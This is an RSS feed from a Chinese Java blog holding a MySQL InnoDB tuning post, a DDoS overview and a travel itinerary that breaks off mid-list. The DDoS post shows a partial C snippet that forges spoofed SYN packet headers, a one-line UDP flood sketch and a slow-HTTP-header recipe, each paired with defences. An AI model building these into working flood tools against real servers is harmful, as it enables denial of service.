﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>语源科技BlogJava-JAVA天下</title><link>http://www.blogjava.net/ljf-tianyi/</link><description>小小博客,包罗万有.</description><language>zh-cn</language><lastBuildDate>Sun, 05 Apr 2026 19:44:25 GMT</lastBuildDate><pubDate>Sun, 05 Apr 2026 19:44:25 GMT</pubDate><ttl>60</ttl><item><title>数据库插入速度和读取速度的调整记录</title><link>http://www.blogjava.net/ljf-tianyi/archive/2012/05/23/378970.html</link><dc:creator>天一</dc:creator><author>天一</author><pubDate>Wed, 23 May 2012 14:19:00 GMT</pubDate><guid>http://www.blogjava.net/ljf-tianyi/archive/2012/05/23/378970.html</guid><wfw:comment>http://www.blogjava.net/ljf-tianyi/comments/378970.html</wfw:comment><comments>http://www.blogjava.net/ljf-tianyi/archive/2012/05/23/378970.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ljf-tianyi/comments/commentRss/378970.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ljf-tianyi/services/trackbacks/378970.html</trackback:ping><description><![CDATA[<div>（1）提高数据库插入性能中心思想：<wbr>尽量将数据一次性写入到Data File和减少数据库的checkpoint 操作。这次修改了下面四个配置项：<br /> 1）将 <span style="line-height:normal;text-indent:0px;border-collapse:separate;letter-spacing:normal;font-variant:normal;text-transform:none;font-style:normal;white-space:normal;font-weight:normal;word-spacing:0px">innodb_flush_log_at_trx_commit 配置设定为0；按过往经验设定为0，插入速度会有很大提高。</span><br /> <span style="line-height:normal;text-indent:0px;border-collapse:separate;letter-spacing:normal;font-variant:normal;text-transform:none;font-style:normal;white-space:normal;font-weight:normal;word-spacing:0px"> </span><ul style="font-family:simsun,serif"><li>0: Write  the  log  buffer  to  the  log  file  and  flush  the  log   file  every  second,  but  do nothing at transaction commit. </li><li>1：the log buffer is written out to the log file at           each transaction commit and the flush to disk operation is           performed on the log file</li><li>2：the log buffer           is written out to the file at each commit, but the flush to           disk operation is not performed on it</li></ul><span style="line-height:normal;text-indent:0px;border-collapse:separate;letter-spacing:normal;font-variant:normal;text-transform:none;font-style:normal;white-space:normal;font-weight:normal;word-spacing:0px">2）将 </span><span style="line-height:normal;text-indent:0px;border-collapse:separate;letter-spacing:normal;font-variant:normal;text-transform:none;font-style:normal;white-space:normal;font-weight:normal;word-spacing:0px">innodb_autoextend_increment 配置由于默认8M 调整到 128M<br />  </span><ul style="font-family:simsun,serif"><li><span style="line-height:normal;text-indent:0px;border-collapse:separate;letter-spacing:normal;font-variant:normal;text-transform:none;font-style:normal;white-space:normal;font-weight:normal;word-spacing:0px">此配置项作用主要是当tablespace 空间已经满了后，需要MySQL系统需要自动扩展多少空间，</span><span style="line-height:normal;text-indent:0px;border-collapse:separate;letter-spacing:normal;font-variant:normal;text-transform:none;font-style:normal;white-space:normal;font-weight:normal;word-spacing:0px">每次<wbr>tablespace 扩展都会让各个SQL 处于等待状态。</span><span style="line-height:normal;text-indent:0px;border-collapse:separate;letter-spacing:normal;font-variant:normal;text-transform:none;font-style:normal;white-space:normal;font-weight:normal;word-spacing:0px">增加自动扩展Size可以减少tablespac<wbr>e自动扩展次数。</span><br />  </li></ul><span style="line-height:normal;text-indent:0px;border-collapse:separate;letter-spacing:normal;font-variant:normal;text-transform:none;font-style:normal;white-space:normal;font-weight:normal;word-spacing:0px">3）将</span><span style="line-height:normal;text-indent:0px;border-collapse:separate;letter-spacing:normal;font-variant:normal;text-transform:none;font-style:normal;white-space:normal;font-weight:normal;word-spacing:0px"> innodb_log_buffer_size</span>  配置由于默认1M 调整到 16M<br /><ul style="font-family:simsun,serif"><li>此配置项作用设定innodb 数据库引擎写日志缓存区；<wbr>将此缓存段增大可以减少数据库写数据文件次数。<br /></li></ul>4）将<span style="line-height:normal;text-indent:0px;border-collapse:separate;letter-spacing:normal;font-variant:normal;text-transform:none;font-style:normal;white-space:normal;font-weight:normal;word-spacing:0px"> innodb_log_file_size</span> 配置由于默认 8M 调整到 128M <br />  <ul style="font-family:simsun,serif"><li>此配置项作用设定innodb 数据库引擎UNDO日志的大小；<wbr>从而减少数据库checkpoint操作。<br /></li></ul>经过以上调整，<wbr>系统插入速度由于原来10分钟几万条提升至1秒1W左右；注：<wbr>以上参数调整，需要根据不同机器来进行实际调整。特别是 <span style="line-height:normal;text-indent:0px;border-collapse:separate;letter-spacing:normal;font-variant:normal;text-transform:none;font-style:normal;white-space:normal;font-weight:normal;word-spacing:0px">innodb_flush_log_at_trx_<wbr>commit、</span><span style="line-height:normal;text-indent:0px;border-collapse:separate;letter-spacing:normal;font-variant:normal;text-transform:none;font-style:normal;white-space:normal;font-weight:normal;word-spacing:0px">innodb_log_buffer_size</span><span style="line-height:normal;text-indent:0px;border-collapse:separate;letter-spacing:normal;font-variant:normal;text-transform:none;font-style:normal;white-space:normal;font-weight:normal;word-spacing:0px">和 </span><span style="line-height:normal;text-indent:0px;border-collapse:separate;letter-spacing:normal;font-variant:normal;text-transform:none;font-style:normal;white-space:normal;font-weight:normal;word-spacing:0px">innodb_log_file_size 需要谨慎调整；因为涉及MySQL本身的容灾处理。</span><br /> <br />（2）提升数据库读取速度，<wbr>重数据库层面上读取速度提升主要由于几点：简化SQL、<wbr>加索引和分区； 经过检查程序SQL已经是最简单，查询条件上已经增加索引。<wbr>我们只能用武器：表分区。<br /> <ul style="font-family:simsun,serif"><li>数据库 MySQL分区前准备：在MySQL中，<wbr>表空间就是存储数据和索引的数据文件。</li><ul><li>将S11数据库由于同享tablespace 修改为支持多个tablespace; <br /></li><li>将wb_user_info_sina 和 wb_user_info_tx 两个表修改为各自独立表空间；（Sina：1700W数据，2.<wbr>6G 大数据文件，Tencent 1400W，2.3G大数据文件）；</li></ul><li>分区操作：</li><ul><li>将现有的主键和索引先删除</li><li> 重现建立id,uid 的联合主键</li><li>再以 uid 为键值进行分区。这时候到/var/data/mysql 查看数据文件，<wbr>可以看到两个大表各自独立表空间已经分割成若干个较少独立分区空<wbr>间。（这时候若以uid 为检索条件进行查询，并不提升速度；<wbr>因为键值只是安排数据存储的分区并不会建立分区索引。<wbr>我非常郁闷这点比Oracle 差得不是一点半点。）</li><li>再以 uid 字段上进行建立索引。再次到/var/data/mysql 文件夹查看数据文件，非常郁闷地发现各个分区Size竟然大了。<wbr>MySQL还是老样子将索引与数据存储在同一个tablespa<wbr>ce里面。若能index 与 数据分离能够更加好管理。<br /></li></ul></ul>经过以上调整，暂时没能体现出系统读取速度提升；基本都是在 2~3秒完成5K数据更新。</div><img src ="http://www.blogjava.net/ljf-tianyi/aggbug/378970.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ljf-tianyi/" target="_blank">天一</a> 2012-05-23 22:19 <a href="http://www.blogjava.net/ljf-tianyi/archive/2012/05/23/378970.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>网络攻击小结【DDos】</title><link>http://www.blogjava.net/ljf-tianyi/archive/2011/03/13/346173.html</link><dc:creator>天一</dc:creator><author>天一</author><pubDate>Sun, 13 Mar 2011 15:09:00 GMT</pubDate><guid>http://www.blogjava.net/ljf-tianyi/archive/2011/03/13/346173.html</guid><wfw:comment>http://www.blogjava.net/ljf-tianyi/comments/346173.html</wfw:comment><comments>http://www.blogjava.net/ljf-tianyi/archive/2011/03/13/346173.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ljf-tianyi/comments/commentRss/346173.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ljf-tianyi/services/trackbacks/346173.html</trackback:ping><description><![CDATA[<span style="font-family: times new roman,times;">现在网络技术日新月异</span>
，不断有新技术被不同类型软件所使用。在提高开发软件各个方面性能同时，也增加了系统安全隐患。例如：云技术能够为我们带来了一个更加有效地利用网络资源和整合网络数据模式；不过，这个新技术引出了安全的担心。
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 网络安全是涉及到网络各个方面内容，现在最为突出问题就是网络攻击。根据近年来接触到问题，总结了下面几个现在比较常用网络攻击手法和一些防御测试。</p>
<h3>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DDos--分布式拒绝服务攻击</h3>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DDos 是 Distributed Denial of service&nbsp; , 这种攻击起源于1996年；此攻击主要利用合理的服务请求来占用过多的服务资源，从而使服务器无法处理合法用户的指令。有以下主要几种具体攻击手段：</p>
<p>（1）SYN 洪水攻击</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 原理：SYN 洪水攻击主要是利用TCP协议缺陷，通过&#8220;肉鸡&#8221;伪造地址和发送大量的半连接请求，使得主机一直等待半连接请求的回复。通过此方法不断耗费主机有限的CPU资源和内存资源。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 攻击手段：一般都是开发专门制造洪水攻击程序；程序核心主要是伪造一个TCP协议信息头和IP协议的信息头</p>
<div class="dp-highlighter">
<ol class="dp-cpp" start="1">
    <li class="alt"><span><span>TCP_HEADER&nbsp;&nbsp;tcpheader;&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;IP_HEADER&nbsp;&nbsp;&nbsp;ipheader;&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">//填充IP首部</span><span>&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;ipheader.h_verlen=(4&lt;&lt;4&nbsp;|&nbsp;<span class="keyword">sizeof</span><span>(IP_HEADER)/</span><span class="keyword">sizeof</span><span>(unsigned&nbsp;</span><span class="datatypes">long</span><span>));&nbsp;&nbsp;</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;ipheader.total_len&nbsp;=&nbsp;htons(<span class="keyword">sizeof</span><span>(IP_HEADER)+</span><span class="keyword">sizeof</span><span>(TCP_HEADER));&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;ipheader.ident&nbsp;=&nbsp;1;&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;ipheader.frag_and_flags&nbsp;=&nbsp;0;&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;ipheader.ttl&nbsp;=&nbsp;128;&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;ipheader.proto&nbsp;=&nbsp;IPPROTO_TCP;&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;ipheader.checksum&nbsp;=0;&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;ipheader.sourceIP&nbsp;=&nbsp;htonl(FakeIpHost+SendSEQ);&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;ipheader.destIP&nbsp;=&nbsp;inet_addr(DestIP);&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;<span class="comment">//填充TCP首部</span><span>&nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;tcpheader.th_dport=htons(port);&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;tcpheader.th_sport&nbsp;=&nbsp;htons(8080);&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;tcpheader.th_seq&nbsp;=&nbsp;htonl(SEQ+SendSEQ);&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;tcpheader.th_ack&nbsp;=&nbsp;0;&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;tcpheader.th_lenres&nbsp;=(<span class="keyword">sizeof</span><span>(TCP_HEADER)/4&lt;&lt;4|0);&nbsp;&nbsp;</span></span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;tcpheader.th_flag&nbsp;=&nbsp;2;&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;tcpheader.th_win&nbsp;=&nbsp;htons(16384);&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;tcpheader.th_urp&nbsp;=&nbsp;0;&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;tcpheader.th_sum&nbsp;=&nbsp;&nbsp;&nbsp;</span></li>
</ol>
</div>
<textarea style="display: none;" cols="50" rows="15" name="code" class="cpp">TCP_HEADER  tcpheader;
IP_HEADER   ipheader;
//填充IP首部
ipheader.h_verlen=(4&lt;&lt;4 | sizeof(IP_HEADER)/sizeof(unsigned long));
ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
ipheader.ident = 1;
ipheader.frag_and_flags = 0;
ipheader.ttl = 128;
ipheader.proto = IPPROTO_TCP;
ipheader.checksum =0;
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
ipheader.destIP = inet_addr(DestIP);
//填充TCP首部
tcpheader.th_dport=htons(port);
tcpheader.th_sport = htons(8080);
tcpheader.th_seq = htonl(SEQ+SendSEQ);
tcpheader.th_ack = 0;
tcpheader.th_lenres =(sizeof(TCP_HEADER)/4&lt;&lt;4|0);
tcpheader.th_flag = 2;
tcpheader.th_win = htons(16384);
tcpheader.th_urp = 0;
tcpheader.th_sum =&nbsp;</textarea>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 防御手段：</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1）使用硬防火墙过滤；硬件防火墙明显提高防御性能，基本能拦截95%~99%的攻击信息包；服务器依然会接受到攻击的信息包。缺点：只能被动提高防御性能</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2）使用门户代理过滤；防御效果非常明显，曾经试过被20G数据攻击。经过美国某防御门户过滤后，大概只有几十K有效数据发送到服务器上。缺点：在使用了防御门户后，服务端与客户端之交互延时非常严重（&gt;1000MS）。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3）修改服务器一些网络安全参数设定;如：Window
可以修改下面一些配置SynAttackProtect，TcpMaxPortsExhausted，TcpMaxHalfOpen和
TcpMaxHalfOpenRetried等；更加详细相关配置设定介绍可以到网上搜索一下,应该不少。系统的防御性能提高有限，但无需要任何投入。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4）机器群集均衡负载；这个方法是一个最有效和成本最高的方法。这里我就不多讲最后这个方法啦。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 总结：SYN洪水攻击主要是攻击方与防御方比拼硬件资源和防御策略。</p>
<p>（2）流量攻击</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
原理：流量攻击主要是&#8220;肉鸡&#8221;通过对目的主机的服务端口发送大量的垃圾数据，导致目的主机的网络堵塞。在网络上很多文章都会将SYN洪水攻击和流量攻击视
作为相同手段。从监控软件来看，被这两种攻击时候都会表现为网络流量暴涨导致网络堵塞。其实，这两种攻击的网络堵塞原因是有本质上区别的。流量攻击导致网
络堵塞是某些IP机器实际发送大量垃圾信息去耗尽主机带宽；SYN洪水攻击导致网络堵塞是目标主机本身所有资源被伪造半连接请求耗尽了，使得机器根本不能
继续接受新连接。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 攻击手段：最简单流量攻击程序都是将简单Socket 程序中的sendBuf 修改为大于64K数据块就可以了。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>
<div class="dp-highlighter">
<ol class="dp-cpp" start="1">
    <li class="alt"><span><span class="comment">//&nbsp;一般都是将'sendBuf'&nbsp;设定到64K以上随机的垃圾数据</span><span>&nbsp;&nbsp;</span></span></li>
    <li class=""><span>sendto(sock,sendBuf,dataSize,0,(<span class="keyword">struct</span><span>&nbsp;sockaddr*)&nbsp;&amp;sockAddr,</span><span class="keyword">sizeof</span><span>(sockAddr));&nbsp;&nbsp;</span></span></li>
</ol>
</div>
<textarea style="display: none;" cols="50" rows="15" name="code" class="cpp:showcolumns">// 一般都是将'sendBuf' 设定到64K以上随机的垃圾数据
sendto(sock,sendBuf,dataSize,0,(struct sockaddr*) &amp;sockAddr,sizeof(sockAddr));</textarea>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 防御手段：</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1）使用硬防火墙过滤；根据服务程序现状设定合适策略，基本拦截95~99%的垃圾信息；流量攻击拦截非常依靠硬件防火墙设定策略，有效策略会大大提高系统防御性能。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2）使用门户代理过滤；参照【SYN洪水攻击】相应描述.</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3）优化服务端程序解密算法</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 现在一般网络上C/S 或者B/S
架构模式的程序，在系统互相通信指令上基本都是密文。当系统服务端程序受到攻击时候，服务的解密算法就会受到巨大压力，很容易导致服务器资源耗尽。所以，
为了提高系统在高压力下生存率，选择高效解密方法是很有必要。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4）增加服务端程序网络异常处理</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在一定高压力情况下，除了需要确保服务端的&#8221;稳定性&#8220;；还需要确保系统的&#8221;准确性&#8220;。对一些网络异常中断的情况，制定一些补救性措施和机制。特别是一些实时性系统特别重要，按过往经验在一定压力情况下会出现非常离谱错误。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 5）增加服务端程序防御策略</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 由于DDos
攻击往往都使用IP地址&#8221;欺骗&#8220;技术，在行业里面暂时没有比较有效的反击方法。所以，现在最流行防御策略就是服务端&#8221; 装死 &#8220;。身边其他人称为&#8221;
信息忽略回馈机制&#8220;，主要思想就是当系统收到一个不能识别的指令时候，立即掉弃连接和不对连接作出任何反馈信息。除了&#8221;
信息忽略回馈机制&#8220;外，还有一些商业上和业务上防御策略。如： 账户锁定策略，IP锁定策略和服务器认证策略等。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 总结：流量攻击是检验防御方网络流量，系统安全策略，系统异常处理和系统性能。在项目时间允许情况下，这个测试是必不可少的。</p>
<p>（3）HTTP洪水攻击</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 原理：HTTP洪水是利用【应用层】中HTTP协议缺陷；不断发送没有完成的HTTP头，直到你的服务器耗尽所有的资源。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 攻击手段：</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1）首先向服务器发出如下HTTP头部：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GET / HTTP/1.1\r\n<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Host: host\r\n<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; User-Agent: Mozilla/4.0 (compatible; MSIE 7.0;
Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET
CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Content-Length: 42\r\n</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2）然后每隔一定时间继续发出一个自定义的头部：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; X-a: b\r\n<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
须知根据HTTP协议，HTTP请求头部与请求主体的分隔是多一个\r\n。也就是说上述的HTTP头部一直没有发送完成，HTTP服务器会等在那里准备
接受余下的内容，一直到接受超时，然后关闭连接。默认的apache读取头部的超时据说是3000秒。Apache的情况是，每接受一个连接新开一个进程
或线程，这样新接受一个连接的资源消耗很大，我测试的过结果是，一般apache只需在超时时间内，持续发送500个以上的包，apache就不会再接收
新的连接了。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 防御手段：</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1）减少HTTP头部连接超时的时间，尤其是HTTP请求中GET、HEAD方法的超时时间。注意一般POST方法的头部包含了上传的内容，所以传输时间会很长，要避免将合法的请求提前关闭。<br />
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2）限定单个IP的连接数。缺点是，有些学校、大公司都通过NAT方式连接互联网，所以同一个IP的连接数会很多。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3）特别针对Apache，将Nginx此类反向服务器放在apache前面，用来撑连接，代理合法的请求。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4）使用硬防火墙过滤；</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 5）使用门户代理过滤；</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 总结：HTTP协议的缺陷其实是TCP/IP协议缺陷的一个延伸，只是表现在应用层网络协议面上。</p>
<p>本人水平有限，若有不准确地方欢迎提出。</p>
<img src ="http://www.blogjava.net/ljf-tianyi/aggbug/346173.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ljf-tianyi/" target="_blank">天一</a> 2011-03-13 23:09 <a href="http://www.blogjava.net/ljf-tianyi/archive/2011/03/13/346173.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>计划 兰卡威-吉隆坡之旅</title><link>http://www.blogjava.net/ljf-tianyi/archive/2010/11/30/339451.html</link><dc:creator>天一</dc:creator><author>天一</author><pubDate>Tue, 30 Nov 2010 15:00:00 GMT</pubDate><guid>http://www.blogjava.net/ljf-tianyi/archive/2010/11/30/339451.html</guid><wfw:comment>http://www.blogjava.net/ljf-tianyi/comments/339451.html</wfw:comment><comments>http://www.blogjava.net/ljf-tianyi/archive/2010/11/30/339451.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ljf-tianyi/comments/commentRss/339451.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ljf-tianyi/services/trackbacks/339451.html</trackback:ping><description><![CDATA[<strong>第一天 2010-12-10 广州-&gt;吉隆坡 21:05-01:10(12-11)</strong><br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 预计大概 1：45 分左右可以入住 tune hotel&nbsp; ( tune hotel 地址: Tune Hotels - KLIA-LCCT Airport&nbsp; Within Low Cost Carrier Terminal ( near Pos Malaysia )&nbsp; Lot PT 29, Jalan KLIA S4, 64000 KLIA Selangor Darul Ehsan) <br />
<blockquote>Tel: 006(03) 79625888 [ Mon - Fri 9:00am - 9:00 pm (excluding public holiday)]<br />
其实,在LCCT 的tune hotel非常容易找，因为你在国际到达区一出来以后；向左看就可以看到 tune hotel 的招牌。当然，我会在国际到达区的出口接你机。<br />
</blockquote>
<br />
<strong>第二天 2010-12-11 </strong><br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 6：30 起床<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 7:30-8:30 坐飞机到 吉隆坡-&gt; 兰卡威 <br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 9：00 到酒店 Awana Porto Malai Hotel<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 酒店名称:&nbsp;&nbsp;&nbsp; Awana Porto Malai Hotel<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 酒店地址: &nbsp;&nbsp;&nbsp; Tanjung Malai<br />
&nbsp; &nbsp; &nbsp; &nbsp; Tel : <span id="lbl_CustomerSup">+44 (0)20 3027 7900</span> &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; <br />
<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 9:30 参加LGK 半天游[在酒店大堂看看有什么团可以参加的.]<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 可以选内容:<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 东方村-缆车(天空之桥)<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 瓜镇购物-巧克力<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 雄鹰广场<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 环岛游(按同事讲是去D,无人小岛度玩和游水)<br />
